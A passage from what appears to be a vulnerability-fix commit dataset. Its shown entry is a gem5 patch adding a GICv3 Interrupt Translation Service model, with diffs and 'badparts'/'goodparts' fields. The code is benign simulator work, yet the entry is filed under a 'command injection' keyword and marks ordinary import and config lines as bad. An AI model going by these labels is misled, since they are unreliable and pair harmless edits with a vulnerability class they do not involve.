+ 0x0040\n+ };\n+\n+ AddrRangeList getAddrRanges() const override;\n+\n+ Tick read(PacketPtr pkt) override;\n+ Tick write(PacketPtr pkt) override;\n+\n+ DrainState drain() override;\n+ void serialize(CheckpointOut & cp) const override;\n+ void unserialize(CheckpointIn & cp) override;\n+\n+ void translate(PacketPtr pkt);\n+\n+ BitUnion32(CTLR)\n+ Bitfield<31> quiescent;\n+ Bitfield<7, 4> itsNumber;\n+ Bitfield<1> imDe;\n+ Bitfield<0> enabled;\n+ EndBitUnion(CTLR)\n+\n+ // Command read/write, (CREADR, CWRITER)\n+ BitUnion64(CRDWR)\n+ Bitfield<19, 5> offset;\n+ Bitfield<0> retry;\n+ Bitfield<0> stalled;\n+ EndBitUnion(CRDWR)\n+\n+ BitUnion64(CBASER)\n+ Bitfield<63> valid;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<51, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(CBASER)\n+\n+ BitUnion64(BASER)\n+ Bitfield<63> valid;\n+ Bitfield<62> indirect;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<58, 56> type;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<52, 48> entrySize;\n+ Bitfield<47, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<9, 8> pageSize;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(BASER)\n+\n+ BitUnion64(TYPER)\n+ Bitfield<37> vmovp;\n+ Bitfield<36> cil;\n+ Bitfield<35, 32> cidBits;\n+ Bitfield<31, 24> hcc;\n+ Bitfield<19> pta;\n+ Bitfield<18> seis;\n+ Bitfield<17, 13> devBits;\n+ Bitfield<12, 8> idBits;\n+ Bitfield<7, 4> ittEntrySize;\n+ Bitfield<2> cct;\n+ Bitfield<1> _virtual;\n+ Bitfield<0> physical;\n+ EndBitUnion(TYPER)\n+\n+ CTLR gitsControl;\n+ TYPER gitsTyper;\n+ CBASER gitsCbaser;\n+ CRDWR gitsCreadr;\n+ CRDWR gitsCwriter;\n+ uint32_t gitsIidr;\n+ uint32_t gitsTranslater;\n+\n+ std::vector tableBases;\n+\n+ /**\n+ * Returns TRUE if the eventID supplied has bits above the implemented\n+ * size or above the itt_range\n+ */\n+ bool idOutOfRange(uint32_t event_id, uint8_t itt_range) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value supplied exceeds the maximum configured size in the\n+ * appropriate GITS_BASER\n+ */\n+ bool deviceOutOfRange(uint32_t device_id) const;\n+\n+ /**\n+ * Returns TRUE if the value (size) supplied exceeds the maximum\n+ * allowed by GITS_TYPER.ID_bits. Size is the parameter which is\n+ * passed to the ITS via the MAPD command and is stored in the\n+ * DTE.ittRange field.\n+ */\n+ bool sizeOutOfRange(uint32_t size) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value exceeds the total number of collections supported in\n+ * hardware and external memory\n+ */\n+ bool collectionOutOfRange(uint32_t collection_id) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied is larger than that permitted by\n+ * GICD_TYPER.IDbits or not in the LPI range and is not 1023\n+ */\n+ bool lpiOutOfRange(uint32_t intid) const;\n+\n+ private: // Command\n+ void checkCommandQueue();\n+ void incrementReadPointer();\n+\n+ public: // TableWalk\n+ BitUnion64(DTE)\n+ Bitfield<57, 53> ittRange;\n+ Bitfield<52, 1> ittAddress;\n+ Bitfield<0> valid;\n+ EndBitUnion(DTE)\n+\n+ BitUnion64(ITTE)\n+ Bitfield<59, 46> vpeid;\n+ Bitfield<45, 30> icid;\n+ Bitfield<29, 16> intNumHyp;\n+ Bitfield<15, 2> intNum;\n+ Bitfield<1> intType;\n+ Bitfield<0> valid;\n+ EndBitUnion(ITTE)\n+\n+ BitUnion64(CTE)\n+ Bitfield<40, 1> rdBase;\n+ Bitfield<0> valid;\n+ EndBitUnion(CTE)\n+\n+ enum InterruptType\n+ {\n+ VIRTUAL_INTERRUPT = 0,\n+ PHYSICAL_INTERRUPT = 1\n+ };\n+\n+ private:\n+ Gicv3Redistributor* getRedistributor(uint64_t rd_base);\n+ Gicv3Redistributor* getRedistributor(CTE cte)\n+ {\n+ return getRedistributor(cte.rdBase);\n+ }\n+\n+ ItsAction runProcess(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessTiming(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessAtomic(ItsProcess *proc, PacketPtr pkt);\n+\n+ enum ItsTables\n+ {\n+ DEVICE_TABLE = 1,\n+ VPE_TABLE = 2,\n+ TRANSLATION_TABLE = 3,\n+ COLLECTION_TABLE = 4\n+ };\n+\n+ enum PageSize\n+ {\n+ SIZE_4K,\n+ SIZE_16K,\n+ SIZE_64K\n+ };\n+\n+ Addr pageAddress(enum ItsTables table);\n+\n+ void moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2);\n+\n+ private:\n+ std::queue packetsToRetry;\n+ uint32_t masterId;\n+ Gicv3 *gic;\n+ EventFunctionWrapper commandEvent;\n+\n+ bool pendingCommands;\n+ uint32_t pendingTranslations;\n+};\n+\n+/**\n+ * ItsProcess is a base coroutine wrapper which is spawned by\n+ * the Gicv3Its module when the latter needs to perform different\n+ * actions, like translating a peripheral's MSI into an LPI\n+ * (See derived ItsTranslation) or processing a Command from the\n+ * ITS queue (ItsCommand).\n+ * The action to take is implemented by the method:\n+ *\n+ * virtual void main(Yield &yield) = 0;\n+ * It's inheriting from Packet::SenderState since the generic process\n+ * will be stopped (we are using coroutines) and sent with the packet\n+ * to memory when doing table walks.\n+ * When Gicv3Its receives a response, it will resume the coroutine from\n+ * the point it stopped when yielding.\n+ */\n+class ItsProcess : public Packet::SenderState\n+{\n+ public:\n+ using DTE = Gicv3Its::DTE;\n+ using ITTE = Gicv3Its::ITTE;\n+ using CTE = Gicv3Its::CTE;\n+ using Coroutine = m5::Coroutine;\n+ using Yield = Coroutine::CallerType;\n+\n+ ItsProcess(Gicv3Its &_its);\n+ virtual ~ItsProcess();\n+\n+ /** Returns the Gicv3Its name. Mainly used for DPRINTS */\n+ const std::string name() const;\n+\n+ ItsAction run(PacketPtr pkt);\n+\n+ protected:\n+ void reinit();\n+ virtual void main(Yield &yield) = 0;\n+\n+ void writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte);\n+\n+ void writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte);\n+\n+ void writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte);\n+\n+ uint64_t readDeviceTable(\n+ Yield &yield, uint32_t device_id);\n+\n+ uint64_t readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id);\n+\n+ uint64_t readIrqCollectionTable(Yield &yield, uint32_t collection_id);\n+\n+ void doRead(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void doWrite(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void terminate(Yield &yield);\n+\n+ protected:\n+ Gicv3Its &its;\n+\n+ private:\n+ std::unique_ptr coroutine;\n+};\n+\n+/**\n+ * An ItsTranslation is created whenever a peripheral writes a message in\n+ * GITS_TRANSLATER (MSI). In this case main will simply do the table walks\n+ * until it gets a redistributor and an INTID. It will then raise the\n+ * LPI interrupt to the target redistributor.\n+ */\n+class ItsTranslation : public ItsProcess\n+{\n+ public:\n+ ItsTranslation(Gicv3Its &_its);\n+ ~ItsTranslation();\n+\n+ protected:\n+ void main(Yield &yield) override;\n+\n+ std::pair\n+ translateLPI(Yield &yield, uint32_t device_id, uint32_t event_id);\n+};\n+\n+/**\n+ * An ItsCommand is created whenever there is a new command in the command\n+ * queue. Only one command can be executed per time.\n+ * main will firstly read the command from memory and then it will process\n+ * it.\n+ */\n+class ItsCommand : public ItsProcess\n+{\n+ public:\n+ union CommandEntry\n+ {\n+ struct\n+ {\n+ uint32_t type;\n+ uint32_t deviceId;\n+ uint32_t eventId;\n+ uint32_t pintId;\n+\n+ uint32_t data[4];\n+ };\n+ uint64_t raw[4];\n+ };\n+\n+ enum CommandType : uint32_t\n+ {\n+ CLEAR = 0x04,\n+ DISCARD = 0x0F,\n+ INT = 0x03,\n+ INV = 0x0C,\n+ INVALL = 0x0D,\n+ MAPC = 0x09,\n+ MAPD = 0x08,\n+ MAPI = 0x0B,\n+ MAPTI = 0x0A,\n+ MOVALL = 0x0E,\n+ MOVI = 0x01,\n+ SYNC = 0x05,\n+ VINVALL = 0x2D,\n+ VMAPI = 0x2B,\n+ VMAPP = 0x29,\n+ VMAPTI = 0x2A,\n+ VMOVI = 0x21,\n+ VMOVP = 0x22,\n+ VSYNC = 0x25\n+ };\n+\n+ ItsCommand(Gicv3Its &_its);\n+ ~ItsCommand();\n+\n+ protected:\n+ /**\n+ * Dispatch entry is a metadata struct which contains information about\n+ * the command (like the name) and the function object implementing\n+ * the command.\n+ */\n+ struct DispatchEntry\n+ {\n+ using ExecFn = std::function;\n+\n+ DispatchEntry(std::string _name, ExecFn _exec)\n+ : name(_name), exec(_exec)\n+ {}\n+\n+ std::string name;\n+ ExecFn exec;\n+ };\n+\n+ using DispatchTable = std::unordered_map<\n+ std::underlying_type::type, DispatchEntry>;\n+\n+ static DispatchTable cmdDispatcher;\n+\n+ static std::string commandName(uint32_t cmd);\n+\n+ void main(Yield &yield) override;\n+\n+ void readCommand(Yield &yield, CommandEntry &command);\n+ void processCommand(Yield &yield, CommandEntry &command);\n+\n+ // Commands\n+ void clear(Yield &yield, CommandEntry &command);\n+ void discard(Yield &yield, CommandEntry &command);\n+ void mapc(Yield &yield, CommandEntry &command);\n+ void mapd(Yield &yield, CommandEntry &command);\n+ void mapi(Yield &yield, CommandEntry &command);\n+ void mapti(Yield &yield, CommandEntry &command);\n+ void movall(Yield &yield, CommandEntry &command);\n+ void movi(Yield &yield, CommandEntry &command);\n+ void sync(Yield &yield, CommandEntry &command);\n+ void doInt(Yield &yield, CommandEntry &command);\n+ void inv(Yield &yield, CommandEntry &command);\n+ void invall(Yield &yield, CommandEntry &command);\n+ void vinvall(Yield &yield, CommandEntry &command);\n+ void vmapi(Yield &yield, CommandEntry &command);\n+ void vmapp(Yield &yield, CommandEntry &command);\n+ void vmapti(Yield &yield, CommandEntry &command);\n+ void vmovi(Yield &yield, CommandEntry &command);\n+ void vmovp(Yield &yield, CommandEntry &command);\n+ void vsync(Yield &yield, CommandEntry &command);\n+\n+ protected: // Helpers\n+ bool idOutOfRange(CommandEntry &command, DTE dte) const\n+ {\n+ return its.idOutOfRange(command.eventId, dte.ittRange);\n+ }\n+\n+ bool deviceOutOfRange(CommandEntry &command) const\n+ {\n+ return its.deviceOutOfRange(command.deviceId);\n+ }\n+\n+ bool sizeOutOfRange(CommandEntry &command) const\n+ {\n+ const auto size = bits(command.raw[1], 4, 0);\n+ const auto valid = bits(command.raw[2], 63);\n+ if (valid)\n+ return its.sizeOutOfRange(size);\n+ else\n+ return false;\n+ }\n+\n+ bool collectionOutOfRange(CommandEntry &command) const\n+ {\n+ return its.collectionOutOfRange(bits(command.raw[2], 15, 0));\n+ }\n+};\n+\n+#endif\ndiff --git a/src/dev/arm/gic_v3_redistributor.hh b/src/dev/arm/gic_v3_redistributor.hh\nindex 8d7de3d7a..29ff8672d 100644\n--- a/src/dev/arm/gic_v3_redistributor.hh\n+++ b/src/dev/arm/gic_v3_redistributor.hh\n@@ -37,6 +37,7 @@\n \n class Gicv3CPUInterface;\n class Gicv3Distributor;\n+class Gicv3Its;\n \n class Gicv3Redistributor : public Serializable\n {\n@@ -44,6 +45,7 @@ class Gicv3Redistributor : public Serializable\n \n friend class Gicv3CPUInterface;\n friend class Gicv3Distributor;\n+ friend class Gicv3Its;\n \n protected:\n \n", "message": "", "files": {"/src/dev/arm/Gic.py": {"changes": [{"diff": "\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n", "add": 1, "remove": 1, "filename": "/src/dev/arm/Gic.py", "badparts": ["from m5.objects.Device import PioDevice"], "goodparts": ["from m5.objects.Device import PioDevice, BasicPioDevice"]}], "source": "\n from m5.params import * from m5.proxy import * from m5.util.fdthelper import * from m5.SimObject import SimObject from m5.objects.Device import PioDevice from m5.objects.Platform import Platform class BaseGic(PioDevice): type='BaseGic' abstract=True cxx_header=\"dev/arm/base_gic.hh\" platform=Param.Platform(Parent.any, \"Platform this device is part of.\") gicd_iidr=Param.UInt32(0, \"Distributor Implementer Identification Register\") gicd_pidr=Param.UInt32(0, \"Peripheral Identification Register\") gicc_iidr=Param.UInt32(0, \"CPU Interface Identification Register\") gicv_iidr=Param.UInt32(0, \"VM CPU Interface Identification Register\") class ArmInterruptPin(SimObject): type='ArmInterruptPin' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmInterruptPinGen\" abstract=True platform=Param.Platform(Parent.any, \"Platform with interrupt controller\") num=Param.UInt32(\"Interrupt number in GIC\") class ArmSPI(ArmInterruptPin): type='ArmSPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmSPIGen\" class ArmPPI(ArmInterruptPin): type='ArmPPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmPPIGen\" class GicV2(BaseGic): type='GicV2' cxx_header=\"dev/arm/gic_v2.hh\" dist_addr=Param.Addr(\"Address for distributor\") cpu_addr=Param.Addr(\"Address for cpu\") cpu_size=Param.Addr(0x2000, \"Size of cpu register bank\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") cpu_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\") int_latency=Param.Latency('10ns', \"Delay for interrupt to get to CPU\") it_lines=Param.UInt32(128, \"Number of interrupt lines supported(max=1020)\") gem5_extensions=Param.Bool(False, \"Enable gem5 extensions\") class Gic400(GicV2): \"\"\" As defined in: \"ARM Generic Interrupt Controller Architecture\" version 2.0 \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1 \"\"\" gicd_pidr=0x002bb490 gicd_iidr=0x0200143B gicc_iidr=0x0202143B gicv_iidr=gicc_iidr class Gicv2mFrame(SimObject): type='Gicv2mFrame' cxx_header=\"dev/arm/gic_v2m.hh\" spi_base=Param.UInt32(0x0, \"Frame SPI base number\"); spi_len=Param.UInt32(0x0, \"Frame SPI total number\"); addr=Param.Addr(\"Address for frame PIO\") class Gicv2m(PioDevice): type='Gicv2m' cxx_header=\"dev/arm/gic_v2m.hh\" pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") gic=Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\") frames=VectorParam.Gicv2mFrame([], \"Power of two number of frames\") class VGic(PioDevice): type='VGic' cxx_header=\"dev/arm/vgic.hh\" gic=Param.BaseGic(Parent.any, \"Gic to use for interrupting\") platform=Param.Platform(Parent.any, \"Platform this device is part of.\") vcpu_addr=Param.Addr(0, \"Address for vcpu interfaces\") hv_addr=Param.Addr(0, \"Address for hv control\") pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") maint_int=Param.UInt32(\"HV maintenance interrupt number\") gicv_iidr=Param.UInt32(Self.gic.gicc_iidr, \"VM CPU Interface Identification Register\") def generateDeviceTree(self, state): gic=self.gic.unproxy(self) node=FdtNode(\"interrupt-controller\") node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\", \"arm,cortex-a9-gic\"]) node.append(FdtPropertyWords(\" node.append(FdtPropertyWords(\" node.append(FdtProperty(\"interrupt-controller\")) regs=( state.addrCells(gic.dist_addr) + state.sizeCells(0x1000) + state.addrCells(gic.cpu_addr) + state.sizeCells(0x1000) + state.addrCells(self.hv_addr) + state.sizeCells(0x2000) + state.addrCells(self.vcpu_addr) + state.sizeCells(0x2000)) node.append(FdtPropertyWords(\"reg\", regs)) node.append(FdtPropertyWords(\"interrupts\", [1, int(self.maint_int)-16, 0xf04])) node.appendPhandle(gic) yield node class Gicv3(BaseGic): type='Gicv3' cxx_header=\"dev/arm/gic_v3.hh\" dist_addr=Param.Addr(\"Address for distributor\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") redist_addr=Param.Addr(\"Address for redistributors\") redist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to redistributors\") it_lines=Param.UInt32(1020, \"Number of interrupt lines supported(max=1020)\") maint_int=Param.ArmInterruptPin( \"HV maintenance interrupt.\" \"ARM strongly recommends that maintenance interrupts \" \"are configured to use INTID 25(PPI Interrupt).\") cpu_max=Param.Unsigned(256, \"Maximum number of PE. This is affecting the maximum number of \" \"redistributors\") gicv4=Param.Bool(True, \"GICv4 extension available\") ", "sourceWithComments": "# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n# All rights reserved.\n#\n# The license below extends only to copyright in the software and shall\n# not be construed as granting a license to any other intellectual\n# property including but not limited to intellectual property relating\n# to a hardware implementation of the functionality of the software\n# licensed hereunder. You may use the software subject to the license\n# terms below provided that you ensure that this notice is replicated\n# unmodified and in its entirety in all distributions of the software,\n# modified or unmodified, in source code or in binary form.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met: redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer;\n# redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution;\n# neither the name of the copyright holders nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# Authors: Andreas Sandberg\n\nfrom m5.params import *\nfrom m5.proxy import *\nfrom m5.util.fdthelper import *\nfrom m5.SimObject import SimObject\n\nfrom m5.objects.Device import PioDevice\nfrom m5.objects.Platform import Platform\n\nclass BaseGic(PioDevice):\n type = 'BaseGic'\n abstract = True\n cxx_header = \"dev/arm/base_gic.hh\"\n\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n\n gicd_iidr = Param.UInt32(0,\n \"Distributor Implementer Identification Register\")\n gicd_pidr = Param.UInt32(0,\n \"Peripheral Identification Register\")\n gicc_iidr = Param.UInt32(0,\n \"CPU Interface Identification Register\")\n gicv_iidr = Param.UInt32(0,\n \"VM CPU Interface Identification Register\")\n\nclass ArmInterruptPin(SimObject):\n type = 'ArmInterruptPin'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmInterruptPinGen\"\n abstract = True\n\n platform = Param.Platform(Parent.any, \"Platform with interrupt controller\")\n num = Param.UInt32(\"Interrupt number in GIC\")\n\nclass ArmSPI(ArmInterruptPin):\n type = 'ArmSPI'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmSPIGen\"\n\nclass ArmPPI(ArmInterruptPin):\n type = 'ArmPPI'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmPPIGen\"\n\nclass GicV2(BaseGic):\n type = 'GicV2'\n cxx_header = \"dev/arm/gic_v2.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n cpu_addr = Param.Addr(\"Address for cpu\")\n cpu_size = Param.Addr(0x2000, \"Size of cpu register bank\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n cpu_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\")\n int_latency = Param.Latency('10ns', \"Delay for interrupt to get to CPU\")\n it_lines = Param.UInt32(128, \"Number of interrupt lines supported (max = 1020)\")\n gem5_extensions = Param.Bool(False, \"Enable gem5 extensions\")\n\nclass Gic400(GicV2):\n \"\"\"\n As defined in:\n \"ARM Generic Interrupt Controller Architecture\" version 2.0\n \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1\n \"\"\"\n gicd_pidr = 0x002bb490\n gicd_iidr = 0x0200143B\n gicc_iidr = 0x0202143B\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = gicc_iidr\n\nclass Gicv2mFrame(SimObject):\n type = 'Gicv2mFrame'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n spi_base = Param.UInt32(0x0, \"Frame SPI base number\");\n spi_len = Param.UInt32(0x0, \"Frame SPI total number\");\n addr = Param.Addr(\"Address for frame PIO\")\n\nclass Gicv2m(PioDevice):\n type = 'Gicv2m'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n gic = Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\")\n frames = VectorParam.Gicv2mFrame([], \"Power of two number of frames\")\n\nclass VGic(PioDevice):\n type = 'VGic'\n cxx_header = \"dev/arm/vgic.hh\"\n gic = Param.BaseGic(Parent.any, \"Gic to use for interrupting\")\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n vcpu_addr = Param.Addr(0, \"Address for vcpu interfaces\")\n hv_addr = Param.Addr(0, \"Address for hv control\")\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n # The number of list registers is not currently configurable at runtime.\n maint_int = Param.UInt32(\"HV maintenance interrupt number\")\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = Param.UInt32(Self.gic.gicc_iidr,\n \"VM CPU Interface Identification Register\")\n\n def generateDeviceTree(self, state):\n gic = self.gic.unproxy(self)\n\n node = FdtNode(\"interrupt-controller\")\n node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\",\n \"arm,cortex-a9-gic\"])\n node.append(FdtPropertyWords(\"#interrupt-cells\", [3]))\n node.append(FdtPropertyWords(\"#address-cells\", [0]))\n node.append(FdtProperty(\"interrupt-controller\"))\n\n regs = (\n state.addrCells(gic.dist_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(gic.cpu_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(self.hv_addr) +\n state.sizeCells(0x2000) +\n state.addrCells(self.vcpu_addr) +\n state.sizeCells(0x2000) )\n\n node.append(FdtPropertyWords(\"reg\", regs))\n node.append(FdtPropertyWords(\"interrupts\",\n [1, int(self.maint_int)-16, 0xf04]))\n\n node.appendPhandle(gic)\n\n yield node\n\nclass Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\n redist_pio_delay = Param.Latency('10ns',\n \"Delay for PIO r/w to redistributors\")\n it_lines = Param.UInt32(1020,\n \"Number of interrupt lines supported (max = 1020)\")\n\n maint_int = Param.ArmInterruptPin(\n \"HV maintenance interrupt.\"\n \"ARM strongly recommends that maintenance interrupts \"\n \"are configured to use INTID 25 (PPI Interrupt).\")\n\n cpu_max = Param.Unsigned(256,\n \"Maximum number of PE. This is affecting the maximum number of \"\n \"redistributors\")\n\n gicv4 = Param.Bool(True, \"GICv4 extension available\")\n"}, "/src/dev/arm/RealView.py": {"changes": [{"diff": "\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc)", "add": 3, "remove": 2, "filename": "/src/dev/arm/RealView.py", "badparts": [" maint_int=ArmPPI(num=25))", " self.gic,"], "goodparts": [" maint_int=ArmPPI(num=25),", " its=Gicv3Its(pio_addr=0x2c120000))", " self.gic, self.gic.its"]}]}}, "msg": "dev-arm: Provide a GICv3 ITS Implementation\n\nThis patch introduces the GICv3 ITS module, which is in charge of\ntranslating MSIs into physical (GICv3) and virtual (GICv4) LPIs. The\npatch is only GICv3 compliant, which means that there is no direct\nvirtual LPI injection (this also means V* commands are unimplemented)\nOther missing features are:\n\n* No 2level ITS tables (only flat table supported)\n\n* Command errors: when there is an error in the ITS, it is\nIMPLEMENTATION DEFINED on how the ITS behaves. There are three possible\nscenarios (see GICv3 TRM) and this implementation only supports one of\nthese (which is, aborting the command and jumping to the next one).\nFurter patches could make it possible to select different reactions\n\n* Invalidation commands (INV, INVALL) are only doing the memory table\nwalks, assuming the current Gicv3Redistributor is not caching any\nconfiguration table entry.\n\nChange-Id: If4ae9267ac1de7b20a04986a2af3ca3109743211\nSigned-off-by: Giacomo Travaglini \nReviewed-by: Andreas Sandberg \nReviewed-on: https://gem5-review.googlesource.com/c/public/gem5/+/18601\nMaintainer: Andreas Sandberg \nTested-by: kokoro "}}, "https://github.com/VANDAL/SynchroTrace-gem5": {"5830ee78b6dcab87cf383a6cab1e534e1ae1baae": {"url": "https://api.github.com/repos/VANDAL/SynchroTrace-gem5/commits/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "html_url": "https://github.com/VANDAL/SynchroTrace-gem5/commit/5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "sha": "5830ee78b6dcab87cf383a6cab1e534e1ae1baae", "keyword": "command injection change", "diff": "diff --git a/src/dev/arm/Gic.py b/src/dev/arm/Gic.py\nindex 011e238cc..d31a582d5 100644\n--- a/src/dev/arm/Gic.py\n+++ b/src/dev/arm/Gic.py\n@@ -1,4 +1,4 @@\n-# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n+# Copyright (c) 2012-2013, 2017-2019 ARM Limited\n # All rights reserved.\n #\n # The license below extends only to copyright in the software and shall\n@@ -40,7 +40,7 @@\n from m5.util.fdthelper import *\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n@@ -162,10 +162,24 @@ def generateDeviceTree(self, state):\n \n yield node\n \n+class Gicv3Its(BasicPioDevice):\n+ type = 'Gicv3Its'\n+ cxx_header = \"dev/arm/gic_v3_its.hh\"\n+\n+ dma = MasterPort(\"DMA port\")\n+ pio_size = Param.Unsigned(0x20000, \"Gicv3Its pio size\")\n+\n+ # CIL [36] = 0: ITS supports 16-bit CollectionID\n+ # Devbits [17:13] = 0b100011: ITS supports 23 DeviceID bits\n+ # ID_bits [12:8] = 0b11111: ITS supports 31 EventID bits\n+ gits_typer = Param.UInt64(0x30023F01, \"GITS_TYPER RO value\")\n+\n class Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n \n+ its = Param.Gicv3Its(Gicv3Its(), \"GICv3 Interrupt Translation Service\")\n+\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\ndiff --git a/src/dev/arm/RealView.py b/src/dev/arm/RealView.py\nindex 186d6df41..b34ab006c 100644\n--- a/src/dev/arm/RealView.py\n+++ b/src/dev/arm/RealView.py\n@@ -1084,14 +1084,15 @@ def _on_chip_devices(self):\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc):\ndiff --git a/src/dev/arm/SConscript b/src/dev/arm/SConscript\nindex c4aa52180..7d14abe67 100644\n--- a/src/dev/arm/SConscript\n+++ b/src/dev/arm/SConscript\n@@ -61,6 +61,7 @@ if env['TARGET_ISA'] == 'arm':\n Source('gic_v3_cpu_interface.cc')\n Source('gic_v3_distributor.cc')\n Source('gic_v3_redistributor.cc')\n+ Source('gic_v3_its.cc')\n Source('pl011.cc')\n Source('pl111.cc')\n Source('hdlcd.cc')\n@@ -85,6 +86,7 @@ if env['TARGET_ISA'] == 'arm':\n DebugFlag('GICV2M')\n DebugFlag('Pl050')\n DebugFlag('GIC')\n+ DebugFlag('ITS')\n DebugFlag('RVCTRL')\n DebugFlag('EnergyCtrl')\n DebugFlag('UFSHostDevice')\ndiff --git 